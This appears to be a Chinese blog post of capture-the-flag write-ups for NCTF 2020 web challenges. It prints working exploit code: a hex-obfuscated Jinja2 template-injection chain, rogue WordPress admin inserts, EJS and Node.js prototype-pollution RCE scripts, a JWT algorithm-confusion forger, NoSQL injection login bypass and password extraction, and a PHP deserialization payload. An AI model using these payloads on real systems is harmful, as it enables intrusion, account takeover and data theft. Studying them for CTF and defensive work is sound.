Misc太少,Web太难,让我这个假web手怎么搞哟。。。
改(日期未知):开启漫长的复现之路💪
官方WriteUp
题目地址
出题小记
过滤了挺多的,直接十六进制一把梭
1
2
|
{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("ls")["\x72\x65\x61\x64"]()}}
# {{""["__class__"]["__base__"]["__subclasses__"]()[64]["__init__"]["__globals__"]["__builtins__"]["__import__"]("os")["popen"]("ls")["read"]()}}
|
认真看博客嗷!
hint1:有没有什么信息泄露
hint2:pay attention to MySQL
hint3:需要提权,但是又不需要提权
找到mysql -h 127.0.0.1 -P 8500 -u www-data
,未授权访问,连接操作数据库。
参考如何通过MYSQL将管理员用户添加到WORDPRESS数据库和WordPress: 通过数据库(phpMyAdmin)添加admin用户两篇文章,在wordpress数据库中注册用户:
1
2
3
|
INSERT INTO wp_users(`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('2', 'tyskill', MD5('tyskill'), 'tyskill', 'hello@qq.com', 'http://www.justcoding.iteye.com/', '2014-03-14 00:00:00', '', '0', 'tyskill');
INSERT INTO wp_usermeta(umeta_id,user_id,meta_key,meta_value) VALUES (NULL, '2', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO wp_usermeta(umeta_id,user_id,meta_key,meta_value) VALUES (NULL, '2', 'wp_user_level', '10');
|
一血的师傅没有把他的木马删掉,所以我直接用了emmmm。。。做完本来想删掉的,但是权限不够,可惜了。
JavaScript can quickly turn our everyday job into hell, and some of them can make us laugh out loud. Have fun.
hint1: script.js has sth useful.
输入框随便输,弹窗提示/templates
路由,访问得
Proudly presented by ejs
可知是ejs模板注入。提示了script.js有用,通过http://jsnice.org/去掉混淆,再加上调试器断点调试了解大概逻辑:
1、前端过滤关键字符,正则替换为空
1
|
_0x23132f[_0x1bef85('0x5')](/[\/\*\'\"\`\<\\\>\-\(\)\[\]\=\%\.]/g, '')
|
2、过滤完关键字符后再对生成的html代码作xor处理,去不去混淆代码都挺废人的,还是不放了
3、xor处理后的数据发送到/create
路由,那么该路由下的代码逻辑应该就是解出xor数据然后ejs渲染。
思路应该就是看懂xor的逻辑,然后加密出数据和session一起发送到/create
即可。
通过断点我们可以知道xor的两个参数分别是r5NmfIzU1uzl6Wp和html代码。
唉,加密逻辑实在看不懂,还是直接看师傅的源代码吧:
1
2
3
4
5
6
|
function xor(key, value) {
var keyLen = key.length;
return Array.prototype.slice.call(value).map(function(char, idx) {
return String.fromCharCode(char.charCodeAt(0) ^ key[idx % keyLen].charCodeAt(0));
}).join('');
}
|
然后使用python重构,生成payload发过去(太懒了,直接搬wp了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import requests
from base64 import b64encode as b64
url='题目地址'
PAYLOAD="<%- global.process.mainModule.require('child_process').execSync('cat /flag.txt') %>"
def xor(key,string):
index = 0
length =len(key)
payload=''
chars=list(map(str,string))
for char in chars:
payload = payload + chr(ord(char) ^ ord(key[ index % length]))
index = index + 1
return payload
exp = b64(xor('r5NmfIzU1uzl6Wp',PAYLOAD).encode()).decode()
s = requests.session()
s.get(url)
s.post(url+'/create',data={'code': exp})
r=s.get(url+'/templates')
print(r.text)
|
不知道算不算非预期,通过Console我们可以覆盖js中的create()函数,删除前端过滤直接ejs渲染。
直接复制create()函数,删掉waf,放在控制台运行,然后传payload就行。
payload
1
|
<%= global.process.mainModule.require('child_process').execSync('cat /flag.txt') %>
|
Admin uses this api server to manage his package . Definitely no way to RCE.
Please make sure you can exploit it locally fisrt.
all packages are up to date
JWT在线解密,获取公钥
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX
qir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY
OVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK
osXefntFyPYavn/uIQIDAQAB
-----END PUBLIC KEY-----
但是在JWT解密时会使用HS256或者RS256,
1
2
3
|
async decode(token) {
return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
}
|
在hackergame2020的普通的身份认证器中有该考点的题目(JWT - JSON Web Token也有记录),直接搬运介绍:
在非对称密码中,公钥确实是可以公开的。但是这就牵扯到了 JWT 格式的问题:它的签名算法除了支持 RSA
签名以外,还支持对称的 HMAC
签名(例如 HS256
),并且修改 JWT
中的签名算法只需要修改 header
的 alg
字段,并且通过某些方法,仍然让程序认为整个 JWT
是完好而未被篡改的即可。
在使用 RS256
时,程序的流程是:
- 使用私钥为
JWT
签名。
- 使用公钥验证接收到的
JWT
的完整性。
而在使用 HS256
时,程序的流程是:
- 使用密钥为
JWT
签名。
- 同样,使用这个密钥验证
JWT
的完整性。显然,这个密钥不能被泄露出来。
那么如果我们知道公钥,那么我们就能这么做:
- 接收到一个合法的,使用
RS256
签名算法的 JWT
。
- 修改
JWT
的 payload 我们想要的样子,同时修改 header
的算法为 HS256。
- 使用已知的公钥,以
HS256
算法重新签名我们修改后的公钥。
- 发给服务器。此时,服务器使用
公钥 + HS256
算法检查 JWT
,发现没有问题,就会认为这是一个合法的 JWT
。
生成修改后的JWT,然后抓包修改,脚本:
1
2
3
4
5
6
7
8
|
import jwt # 0.4.3版本PyJWT
data = {
"username": "admin",
"pk": "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n",
"iat": 1605958395
}
token = jwt.encode(data, data['pk'], algorithm='HS256').decode(encoding='utf-8')
print(token)
|
本来接下来就应该是皆大欢喜的场面:
使用res.render渲染然后RCE,但是此处渲染引擎使用了nunjucks
的autoescape
导致内容会被转义,直接渲染RCE失败(实际上还是太菜了)。
1
2
3
4
|
nunjucks.configure('views', {
autoescape: true,
express: app
});
|
不过利用点还是很明显的,就是rep.js的replicate
函数:
1
2
3
4
5
6
7
8
9
10
11
|
replicate(a, b){
var attrs = Object.keys(b);
attrs.forEach( (key) => {
if (this.isObject(a[key]) && this.isObject(b[key])) {
this.replicate(a[key], b[key]);
} else {
a[key] = b[key];
}
});
return a;
}
|
index.js调用
1
2
3
4
5
|
router.post('/api/package',AuthMiddlerware,(req,res)=>{
let newpackage={};
newpackage=rep.replicate(newpackage,req.body);
return res.render('index.html',{ author : newpackage.author , description : newpackage.description });
});
|
请求体传递数据通过replicate函数递归处理,获得键值赋给newpackage,然后通过render渲染回显。然后使用了nunjucks的autoescape属性断绝了污染模板RCE的机会,但是有师傅直接nunjucks模板注入了,不得不说大师傅的姿势又多又骚。
通过子进程污染环境变量值实现RCE,参考文章--从Kibana-RCE对nodejs子进程创建的思考,说起来这篇文章我当时打比赛的时候还找到并且看过了,愣是没反应,冷漠的关掉页面继续自闭了😓
文章中一段话阐述了子进程和环境变量关系:
当options不存在时将其命为空对象。接着到下面最关键的一步,即获取env变量的方式。首先对options.env是否存在做了判断,如果options.env为undefined则将环境变量process.env的值复制给env。而后对envParivs这个数组进行push操作,其实就是env变量对应的键值对。
1
2
3
4
5
6
|
var env = options.env || process.env;
var envPairs = [];
for (var key in env) {
envPairs.push(key + '=' + env[key]);
}
|
很明显,通过原型链我们可以轻易给创建的子进程空对象options添加属性,包括env,然后子进程的options由于已经拥有env属性,不会被父进程的env赋值,但是只有env有什么用呢?又不会自动命令执行,这就涉及到文章中关于node的另一个设置:
node版本>v8.0.0以后支持运行node时增加一个命令行参数NODE_OPTIONS
,它能够包含一个js脚本,相当于include。
根据node运行时会把当前进程的env写进系统的环境变量,子进程也一样的特性,可以通过污染环境变量的NODE_OPTIONS
属性实现RCE。
payload
1
|
{'auth':'tyskill','description':'tyskill','__proto__':{'env':{'tyskill':'console.log("123")//','NODE_OPTIONS':'--require /proc/self/environ'}}}
|
payload有了,接下来就是创建子进程了,index.js通过fork()函数创建子进程,也就是满足了文章中提到的在污染了原型的条件下,child_process只有进行了fork()的时候,才能达到漏洞的利用
的条件。
接下来就是post访问/api/package
污染环境变量,然后访问/debug/cwd
实现RCE,
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
import jwt # 0.4.3版本PyJWT
import requests as req
target = 'http://IP/api/package' # 目标地址
data = {
"username": "admin",
"pk": "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n",
"iat": 1607312432
}
token = jwt.encode(data, data['pk'], algorithm='HS256').decode(encoding='utf-8')
# print(token)
new = {
'author': 'tyskill',
'description': 'tyskill',
'__proto__':{'env':{'tyskill':'console.log(require("child_process").execSync("cat /w0w_Congrats_Th1s_1s_y0ur_flaaag").toString())//','NODE_OPTIONS':'--require /proc/self/environ'}}
}
res = req.post(url=target, json=new, cookies={'auth':token}, headers={'Content-Type': 'application/json'})
# print(res.text)
target_2 = 'http://IP/debug/cwd'
res_2 = req.get(url=target_2, cookies={'auth': token})
print(res_2.text)
|
非预期的师傅ChenKS
但是使用他的payload并没有打通,和我之前比赛时返回的内容一样,都是引号被实体化了
Error fixed. Definitely no way to RCE
Please make sure you can exploit it locally fisrt.
all packages are up to date
hint1: flag is in the mongodb server. You can access it using mongodb because of docker. Sorry for my misrepresentation.
hint2: Maybe you should read the source code of child_process which is part of intended solution.
hint3: mongodb url : 192.168.96.2
Just a website with some mango pictures......
hint1: mangodb or mongodb?
hint2:app.use(express.json()) is dangerous for Node.js
看到注册,反手一套admin/admin
,此时回显
MongoError: E11000 duplicate key error collection: mangousers.users index: username_1 dup key: { username: "admin" }
该报错意思是mongodb中key重复,也就是已经存在admin帐号,再加上响应头可判断后端使用nodejs+mongodb。
先试试注入,由于对nosql注入不是很了解,就直接上payload了。
参考NoSQL injection,抓包header修改Content-Type: application/json
,请求部分修改为
1
|
{"username": {"$eq": "admin"}, "password": {"$ne": "admin" }}
|
成功登录admin,获得后半段flag:second part of flag is : _squeezy_2333}
同理,通过运算符**$regexp**我们可以正则匹配admin的密码B$ngo!_The_first_part_of_flag_is:NCTF{ezpz_mongo
,得到前半段flagNCTF{ezpz_mongo
。
exp(官方wp)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
import requests
import re
import string
url = 'http://ip/signin'
payload = "^"
flag = ""
for i in range(1, 100):
a = 0
print(i)
for j in string.printable:
test = re.escape(j) # 转义特殊字符$
data = {"username": {"$eq": "admin"}, "password": {"$regex": payload + test}}
r = requests.post(url, json=data, allow_redirects=False)
if r.status_code == 302:
payload += test
flag += j
print(flag)
a = 1
break
if a == 0:
break
|
bg_laravel , the best MaBaoguo site :)
hint1: check out the specific laravel version.
hint2: sql-injection can get you one step closer to RCE. So is ORM safe enough to prevent sql-injection?
- git clone https://github.com/simplepie/simplepie
- modify index.php and rss.php
- have fun XD
10.10.. 附件地址:https://leonsec.lanzous.com/ictICimu79g
hint: Flag in Intranet
简单的反序列化
exp.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<?php
class Game{
public $a;
}
class User{
public $error;
}
class net_test{
public $url;
public function __construct($url){
$this->url = $url;
}
}
$o = new Game();
$o->a = new User();
$url = '';
$o->a->error = new net_test($url);
$o = serialize($o);;
$o = preg_replace('/"Game":1/','"Game":2',$o);
echo $o;
|
由于User
的wakeup函数会匹配file|3306|base|fil|proc|env
,所以通过修改属性个数绕过,通过file协议
读取其他的php文件,其中connect.php
有重大发现:
1
2
3
4
5
|
<?php
header("content-type:text/html;charset=utf-8");
$conn=mysqli_connect("127.0.0.1","root","");
mysqli_set_charset($conn,"utf8");
mysqli_select_db($conn,"minesweep");
|
root用户可以无密码登录mysql,我们就可以通过这个操作数据库,使用mysql_gopher_attack生成gopher的payload查询数据库,但是都快翻烂了也没找到flag。
然后题目就发了hint,flag在内网,反手读一下/etc/hosts
(之前意识确实不够),读到了
10.10.10.1 2acc6891c3f1
bp爆c段,在10.10.10.32
是可以访问的,
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_POST['x'];
if(preg_match('/(system)|(passthru)|(exec)|(shell_exec)|(proc_open)|(popen)/i', $content)) {
die("<script>alert('Hacker!');window.location.href='index.php';</script>");
}
$content = preg_replace(
'(([0-9])(.*?)\1)e',
'strtoupper("\\2")',
$content
);
?>
|
preg_replace/e命令执行,参考文章深入研究preg_replace与代码执行。
这段匹配的意思是:
满足一位数字 字符 一位数字
结构的字符串,此时strtoupper("\\2")
函数会作用在(.*?)
字符,即字符上,再加上/e参数时preg_replace的特性,会导致命令执行。
payload
然后emmm,构造出来的payload死活打不通,只能遗憾结尾。。。
NCTF 2020 Official Writeup
NCTF2020复盘